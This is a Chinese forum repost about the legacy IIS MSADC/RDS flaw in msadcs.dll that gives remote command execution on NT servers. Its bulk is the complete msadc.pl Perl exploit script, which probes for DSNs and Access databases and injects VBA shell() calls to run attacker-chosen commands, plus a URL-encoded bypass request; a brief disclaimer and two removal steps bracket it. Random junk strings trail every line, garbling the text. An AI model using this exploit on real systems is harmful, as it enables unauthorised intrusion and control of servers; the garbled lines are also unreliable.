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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 2* cKFv{  
q'U-{~q%  
涉及程序: H#d! `  
Microsoft NT server w2mlqy2L  
1QdB`8in  
描述: FPM}:c4  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Wg3WE1V  
!&:.Uh  
详细: A'P}mrY  
如果你没有时间读详细内容的话,就删除: j^R~ Lt4  
c:\Program Files\Common Files\System\Msadc\msadcs.dll W(3~F2  
有关的安全问题就没有了。 e?'k[ES^  
V3Rnr8  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。   ]q\=  
'$&(+>)z `  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 1pBsr(  
关于利用ODBC远程漏洞的描述,请参看: 3  %{'Uh,  
x[h<3V"  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ?}>B4Z)  
0yEyt7 ~@  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 H'(o}cn7~  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8`R}L  
bKbpI>;[  
这里不再论述。 kv FOk  
7G #e~,M5  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ]k%KTvX*G  
pJ@DHj2@  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ?. 'oxW  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! R^w >aZ oJ  
;|e 0{Jrz  
1x5CsmS  
#将下面这段保存为txt文件,然后: "perl -x 文件名" x'PjP1  
'jO-e^qT  
#!perl J}`$WL:  
# )^a#Xn3z  
# MSADC/RDS 'usage' (aka exploit) script OCoRcrAx  
# _TeRsA  
# by rain.forest.puppy EYj2h .k  
# %QcG^R  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me g 0_r  
# beta test and find errors! */m~m?  
2nz'/G  
use Socket; use Getopt::Std; Q,+*u%/u  
getopts("e:vd:h:XR", \%args); Ih0> ]h-7  
Hr.JZ>~<  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; e Eb1R}@  
F1]PYx$X  
if (!defined $args{h} && !defined $args{R}) { YSUH*i/%  
print qq~ pzp"NKx i  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Zvw3C%In  
-h <host> = host you want to scan (ip or domain) 9MlfZsby  
-d <seconds> = delay between calls, default 1 second \7?MUa.4  
-X = dump Index Server path table, if available AZ@Zo'  
-v = verbose YedipYG9;  
-e = external dictionary file for step 5 q|_ 5@Ly  
1OGv+b)  
Or a -R will resume a command session g KY ,G  
U@ QU8  
~; exit;} -D':7!@  
9fLP&v  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; wtick~)  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} [~%;E[ky$  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ,oVBgCf  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ])";Z  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} YQd&rkr  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } bI0+J)  
N= q29JU  
if (!defined $args{R}){ $ret = &has_msadc; ,> EY9j  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} [t\Mu}b  
tTxo:+xg  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" G U/k^ Qy  
. "cmd /c "; Ji?UG@  
$in=<STDIN>; chomp $in; #6Ph"\G/  
$command="cmd /c " . $in ; 2PW3 S{Dt  
.aRxqFi_  
if (defined $args{R}) {&load; exit;} xqZ%c/I3q  
|?b"my$g$  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; EjCs  
&try_btcustmr; U.9nHo{  
@Bwl)G!|  
print "\nStep 2: Trying to make our own DSN..."; !a&F:Fbm  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ?UZ yu 4O%  
GM92yi!8  
print "\nStep 3: Trying known DSNs..."; D#AxgF_He  
&known_dsn; Sk%|-T(d$  
3W WxpTU  
print "\nStep 4: Trying known .mdbs..."; 1j-i nj`  
&known_mdb; ?(hQZR 0e  
f }e7g d]M  
if (defined $args{e}){ `I<|*vW u  
print "\nStep 5: Trying dictionary of DSN names..."; I!#^F 1p1  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ^^(ZK 6d  
=!Cvu.~},  
print "Sorry Charley...maybe next time?\n"; 7!r`DZ"yF  
exit; `Hu ;Gdj=  
vDb}CQ\  
############################################################################## pAL-P l9z  
|n%N'-el  
sub sendraw { # ripped and modded from whisker )[Cm*Xxa$  
sleep($delay); # it's a DoS on the server! At least on mine... PQ|x?98  
my ($pstr)=@_; :G)x+0u  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || No+zw%l0E  
die("Socket problems\n"); $h f\ #'J  
if(connect(S,pack "SnA4x8",2,80,$target)){ aDEP_b;  
select(S); $|=1; M:M<bz Vu  
print $pstr; my @in=<S>; 0Jif.<  
select(STDOUT); close(S); AY erz  
return @in; &^>r<~]  
} else { die("Can't connect...\n"); }} X28WQdP,7  
6u8fF|s  
############################################################################## ZU6a   
4<HJD&@V  
sub make_header { # make the HTTP request MM7gMAA.mz  
my $msadc=<<EOT o8"xoXK5xf  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 )&-+:u0  
User-Agent: ACTIVEDATA 3xY]Lqwv  
Host: $ip <C xet~x  
Content-Length: $clen W%:zvqg v  
Connection: Keep-Alive zYJxoC{  
'^AXUb  
ADCClientVersion:01.06 o%7yhCY  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ?2Dz1#%D  
a-=apD1RvG  
--!ADM!ROX!YOUR!WORLD! w+D5a VJ  
Content-Type: application/x-varg 9)X<}*(qo  
Content-Length: $reqlen 4\RuJx  
)QT+;P.  
EOT ddxv.kIj.  
; $msadc=~s/\n/\r\n/g; S?<Qa;  
return $msadc;} HN)QS5  
&*-2k-16  
############################################################################## 3 g&mND  
rKq]zHgpo  
sub make_req { # make the RDS request zD|W3hL2&  
my ($switch, $p1, $p2)=@_; 4'*K\Ul).H  
my $req=""; my $t1, $t2, $query, $dsn; upKrr  
aPgG+tu  
if ($switch==1){ # this is the btcustmr.mdb query $Q4b~  
$query="Select * from Customers where City=" . make_shell(); W1(zi P'6  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . @e/dQ:Fb  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} "yk%/:G+  
HB:i0m2fJW  
elsif ($switch==2){ # this is general make table query !9NAm?Fw  
$query="create table AZZ (B int, C varchar(10))"; F*H}5yBp_:  
$dsn="$p1";} R~([  
C]cw@:o%  
elsif ($switch==3){ # this is general exploit table query gd*?kXpt  
$query="select * from AZZ where C=" . make_shell(); WdnP[x9  
$dsn="$p1";} ozG:f*{T  
eU0-_3gN_  
elsif ($switch==4){ # attempt to hork file info from index server 9IV WbJ  
$query="select path from scope()"; ?i"FdpW  
$dsn="Provider=MSIDXS;";} Sq QB>;/p  
fZC,%p  
elsif ($switch==5){ # bad query Y#,MFEd  
$query="select"; l|{<!7a  
$dsn="$p1";} v2Y=vr  
){~.jP=-#  
$t1= make_unicode($query); hd' n"  
$t2= make_unicode($dsn); N0f}q1S<-A  
$req = "\x02\x00\x03\x00"; Y'9deX+  
$req.= "\x08\x00" . pack ("S1", length($t1)); \8ZNXCP  
$req.= "\x00\x00" . $t1 ; g(^l>niF:  
$req.= "\x08\x00" . pack ("S1", length($t2)); =\.|'  
$req.= "\x00\x00" . $t2 ; DQ$/0bq   
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; :h@:F7N _  
return $req;} ,8 seoX^  
ai RNd~\  
############################################################################## ~r3g~MCHS  
mLO6`]p{H  
sub make_shell { # this makes the shell() statement )ej8vm  
return "'|shell(\"$command\")|'";} ^=j$~*(LmX  
lVHJ}(<'p  
############################################################################## WP9=@X Z  
z7o5 9&  
sub make_unicode { # quick little function to convert to unicode o-_ a0j  
my ($in)=@_; my $out; D6pk !mS  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Z)~ 2{)  
return $out;} Z"u/8  
$9/r*@bu8d  
############################################################################## TEtZ PGFl  
B=7L+6  
sub rdo_success { # checks for RDO return success (this is kludge) q!4dK4`#5  
my (@in) = @_; my $base=content_start(@in); Wu(GC]lTG  
if($in[$base]=~/multipart\/mixed/){ E;N8{Ye_  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} F(9T;F  
return 0;} ;uy/Vc5,Y  
w# ['{GL  
############################################################################## Y9N:%[ :>W  
h pU7  
sub make_dsn { # this makes a DSN for us 0ro+FJ r  
my @drives=("c","d","e","f"); a/1{tDA  
print "\nMaking DSN: "; I5mS!m/X  
foreach $drive (@drives) { -oj@ c OZ  
print "$drive: "; tP9}:gu  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ?a% u=G  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" pH%K4bV)8  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); |NqQKot1  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; !TcjB;q'  
return 0 if $2 eq "404"; # not found/doesn't exist "F&uk~ b$  
if($2 eq "200") { +?8nY.~,'  
foreach $line (@results) { o,L!F`W  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} WW.=>]7;  
} return 0;} 6 S8#[b  
[(hENX}o :  
############################################################################## 4Hw8w7us:  
(`&g  
sub verify_exists { \)bwdNWI  
my ($page)=@_; 6m9Z5:xG  
my @results=sendraw("GET $page HTTP/1.0\n\n"); B!Y;VdX  
return $results[0];} fg2}~ 02n  
A+'j@c\&!  
############################################################################## YG_3@`-<  
4s~o   
sub try_btcustmr { 97lwPjq  
my @drives=("c","d","e","f"); :3k(=^%G!  
my @dirs=("winnt","winnt35","winnt351","win","windows"); JW$#~"@r  
`WVQp"m  
foreach $dir (@dirs) { )9$Xfq/  
print "$dir -> "; # fun status so you can see progress AbB%osz}Ed  
foreach $drive (@drives) { >.A{=?   
print "$drive: "; # ditto +.=a R<Q  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; kciH  
$reqlenlen=length( "$reqlen" ); `k+k&t  
$clen= 206 + $reqlenlen + $reqlen; y(HR1v Q;Z  
q(C+D%xB  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); %}@^[E)  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} &\A$Rj)  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} j JW0a\0  
x|Dj   
############################################################################## S}>rsg!  
lp6GiF  
sub odbc_error { IzG7!K  
my (@in)=@_; my $base; i<l)To-  
my $base = content_start(@in); g$ h!:wW  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this X- zg  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _.j KcDf  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Gc>\L3u  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; u+*CpKR}  
return $in[$base+4].$in[$base+5].$in[$base+6];} .gB#g{5+J  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; bAgKOfT  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . u{si  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} oD.f/hi0|  
tw;`H( UZ^  
##############################################################################  H='`#l1  
LWY`J0/  
sub verbose { +f+\uObi:  
my ($in)=@_; 1:-$mt_*  
return if !$verbose; O!a5  
print STDOUT "\n$in\n";} bz@4obRqf  
%9IM|\ulp  
############################################################################## :U~[%]  
V r y#  
sub save {  `=oN&!  
my ($p1, $p2, $p3, $p4)=@_; R{.ku!w  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; aw(P@9]  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; DY1o!thz)  
close OUT;} C@K@TfK!M  
,+2ytN*  
############################################################################## lGxG$0`;;  
46*?hA7@r(  
sub load { CEwG#fZ  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; zU(U^  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); L%!jj7,9-  
@p=<IN>; close(IN); #CM2FN:W  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); KNV$9&Z  
$target= inet_aton($ip) || die("inet_aton problems"); `A #r6+  
print "Resuming to $ip ..."; x.'O_7c0:  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; oYu5]ry  
if($p[1]==1) { JMoWA0f  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; *-2u0%  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; wsM5T B  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); $Cte$ jg{;  
if (rdo_success(@results)){print "Success!\n";} `74A'(u_  
else { print "failed\n"; verbose(odbc_error(@results));}} :z.< ||T  
elsif ($p[1]==3){ JIK;/1  
if(run_query("$p[3]")){ tL D.e  
print "Success!\n";} else { print "failed\n"; }} *F=w MWa  
elsif ($p[1]==4){ =_,w<  
if(run_query($drvst . "$p[3]")){ J6jrtLh  
print "Success!\n"; } else { print "failed\n"; }} J|s4c`=  
exit;} #bnFR  
REw!@Y."  
############################################################################## tvI~?\Ylj  
2+0'vIw}  
sub create_table { Hf#/o{=~}  
my ($in)=@_; A\WgtM  
$reqlen=length( make_req(2,$in,"") ) - 28; %6 Bt%H  
$reqlenlen=length( "$reqlen" ); "}EydG"=  
$clen= 206 + $reqlenlen + $reqlen; *8Gx_$t&  
my @results=sendraw(make_header() . make_req(2,$in,"")); sURHj&:t|  
return 1 if rdo_success(@results); TzVNZDQ`Jl  
my $temp= odbc_error(@results); verbose($temp); Z[|(}9v?~  
return 1 if $temp=~/Table 'AZZ' already exists/; !IP[C?(nB  
return 0;} k)'c$  
=8[HC}s|$  
############################################################################## 0LxA+  
;gf^;%FK  
sub known_dsn { Up`zVN59.  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ]U]{5AA6  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", gg5`\}  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", PZQ}G*p3  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Krz[ f  
lv,<[Hw1  
foreach $dSn (@dsns) { < jfi"SJu  
print "."; 2U i)'0  
next if (!is_access("DSN=$dSn")); A2]N :=  
if(create_table("DSN=$dSn")){ "#(]{MY  
print "$dSn successful\n"; .I[uXd  
if(run_query("DSN=$dSn")){ 7x`uGmp1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 'H:lR1(,  
print "Something's borked. Use verbose next time\n";}}} print "\n";} H=EvT'g  
pkhZW8O  
############################################################################## HnrT;!C~  
K" Y,K  
sub is_access { #AE'arT<  
my ($in)=@_; 9MVW~ V  
$reqlen=length( make_req(5,$in,"") ) - 28; Ot5 $~o  
$reqlenlen=length( "$reqlen" ); jPhOk>m  
$clen= 206 + $reqlenlen + $reqlen; 9J*m!-hOY  
my @results=sendraw(make_header() . make_req(5,$in,"")); (m})V0/`  
my $temp= odbc_error(@results); 3. fIp5g  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); zkB_$=sbn#  
return 0;} SxNs  
8 z\WyDz  
############################################################################## cvi+AZ=  
q f-1}  
sub run_query { OE W IP  
my ($in)=@_; mq >Ag  
$reqlen=length( make_req(3,$in,"") ) - 28; s+9q :  
$reqlenlen=length( "$reqlen" ); $}N'm  
$clen= 206 + $reqlenlen + $reqlen; 9w(QM-u  
my @results=sendraw(make_header() . make_req(3,$in,"")); Rax}r  
return 1 if rdo_success(@results); 3%>"|Ye}A  
my $temp= odbc_error(@results); verbose($temp); Q l ql(*  
return 0;} $GPenQ~},  
:U^a0s%B  
##############################################################################  ]Ocf %(  
a'rN&*P  
sub known_mdb { &H`yDrg6U  
my @drives=("c","d","e","f","g"); yD(0:g#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =DUsQN!  
my $dir, $drive, $mdb; &$|k<{j[<f  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Cj,fP[p#7  
O]90 F  
# this is sparse, because I don't know of many USfOc  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Z'hW;^e%_z  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", r)q6^|~47  
"\\system32\\certmdb.mdb", E XEae ?  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Xb5n;=)  
?E=&LAI#  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", P%(pbG-X.  
"\\cfusion\\cfapps\\forums\\forums_.mdb", aa8WRf  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", /&Khk #  
"\\cfusion\\cfapps\\security\\realm_.mdb", 3;@t {rIin  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 6(VCQ{  
"\\cfusion\\database\\cfexamples.mdb", ;VNwx(1l`  
"\\cfusion\\database\\cfsnippets.mdb", W_ngB[  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 7{2knm^  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", +3!um  
"\\cfusion\\brighttiger\\database\\cleam.mdb", M n3cIGL  
"\\cfusion\\database\\smpolicy.mdb", `fj(xrI  
"\\cfusion\\database\cypress.mdb", eZk [6H  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 7?dB&m6W  
"\\website\\cgi-win\\dbsample.mdb", FD,M.kbg  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", /k l0(='  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" \M'b %  
); #these are just J+kxb"#d  
foreach $drive (@drives) { ;a[56W  
foreach $dir (@dirs){ 2(Vm0E  
foreach $mdb (@sysmdbs) { !i2=zlpb[  
print "."; ?yU|;my  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ K3M<%  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 0,{Dw9W:  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ j"7 z  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; L Lm{:T7  
} else { print "Something's borked. Use verbose next time\n"; }}}}} bo4 :|Z  
ebcGdC/%>  
foreach $drive (@drives) { {;=I69 X  
foreach $mdb (@mdbs) { uL1e?  
print "."; ]4@_KKP  
if(create_table($drv . $drive . $dir . $mdb)){ y}R{A6X)  
print "\n" . $drive . $dir . $mdb . " successful\n"; Ot`jjZ&  
if(run_query($drv . $drive . $dir . $mdb)){ GTyS8`5E*  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; j|A *rzL8  
} else { print "Something's borked. Use verbose next time\n"; }}}} >t2 0GmmN  
} Ky[/7S5E  
-yy&q9  
############################################################################## A\ CtM`  
-:h5Ky"  
sub hork_idx { i-vhX4:bd  
print "\nAttempting to dump Index Server tables...\n"; |)B&-~a+p  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; &gw. &/t  
$reqlen=length( make_req(4,"","") ) - 28; z;xp1t @  
$reqlenlen=length( "$reqlen" ); `_N8A A  
$clen= 206 + $reqlenlen + $reqlen; ;^^u_SuH  
my @results=sendraw2(make_header() . make_req(4,"","")); u`xmF/jhQ  
if (rdo_success(@results)){ 7  g8SK  
my $max=@results; my $c; my %d; F<M#T  
for($c=19; $c<$max; $c++){ ?54=TA|5`F  
$results[$c]=~s/\x00//g; s*>s;S?{|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; *!ZU" q}i  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; k3da*vwE  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; \SHYwD}*Pr  
$d{"$1$2"}="";} A|,\}9)4X[  
foreach $c (keys %d){ print "$c\n"; } ce0TQ  
} else {print "Index server doesn't seem to be installed.\n"; }} nw+L _b  
$6L gaz  
############################################################################## hc4<`W{  
b'pbf  
sub dsn_dict { RFU(wek  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); YR@@:n'TP  
while(<IN>){ 1Thr74M  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ;EP7q[  
next if (!is_access("DSN=$dSn")); J^R))R=  
if(create_table("DSN=$dSn")){ x$Ko|:-  
print "$dSn successful\n"; $]<CC`  
if(run_query("DSN=$dSn")){ Mc#uWmc 7  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { lbZ,?wm  
print "Something's borked. Use verbose next time\n";}}} j7K9T  
print "\n"; close(IN);} Og4 X3QG  
DN2K4%cM%'  
############################################################################## y\$B9KX  
~}q"M[{  
sub sendraw2 { # ripped and modded from whisker N)K};yMf  
sleep($delay); # it's a DoS on the server! At least on mine... E ~<SEA  
my ($pstr)=@_;  oJ ~ZzW  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || E3<jH  
die("Socket problems\n"); ,B(UkPGT  
if(connect(S,pack "SnA4x8",2,80,$target)){ QXY-?0RO#  
print "Connected. Getting data"; };o6|e:2E  
open(OUT,">raw.out"); my @in; *]nha1!S  
select(S); $|=1; print $pstr; 7L|w~l7R~  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} UO47XAO  
close(OUT); select(STDOUT); close(S); return @in; 5"u-oE&  
} else { die("Can't connect...\n"); }} 1&\_|2  
MCD]n  
############################################################################## IAf,TKfe  
@vh3S+=M  
sub content_start { # this will take in the server headers \$}xt`6p  
my (@in)=@_; my $c; OD-CU8X9  
for ($c=1;$c<500;$c++) { B q+RFo  
if($in[$c] =~/^\x0d\x0a/){ ^n!{ vHz  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } iJv4%|9  
else { return $c+1; }}} b#(SDNo6  
return -1;} # it should never get here actually [yM{A<\L  
'g$~ij ;x  
############################################################################## Ir|Q2$W2^c  
{9vvj  
sub funky { [X ]\^   
my (@in)=@_; my $error=odbc_error(@in); XAR~d6iZ  
if($error=~/ADO could not find the specified provider/){ \:mx Ri  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Po'yr]pr  
exit;} r483"k(7  
if($error=~/A Handler is required/){  LKieOgX  
print "\nServer has custom handler filters (they most likely are patched)\n"; %H75u 6  
exit;} AR\>P  
if($error=~/specified Handler has denied Access/){ JP)/ O!  
print "\nServer has custom handler filters (they most likely are patched)\n"; ;n$j?n+|  
exit;}} X+)68  
jhjGDF  
############################################################################## s\_-` [B0  
\Si@t{`O  
sub has_msadc { 58,_  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); g6o-/A!Q3  
my $base=content_start(@results); *M\Qt_[  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); U>7"BpC  
return 0;} 6e&Y%O'8  
]`0(^)U &  
######################## W Y_}D!O  
XeX0\L')R  
I~H:-"2  
解决方案: pXL_`=3Q  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Q%KH^<  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 u`dWU}m)  
^Crl~~Gk`  
拿出来充数 哈哈
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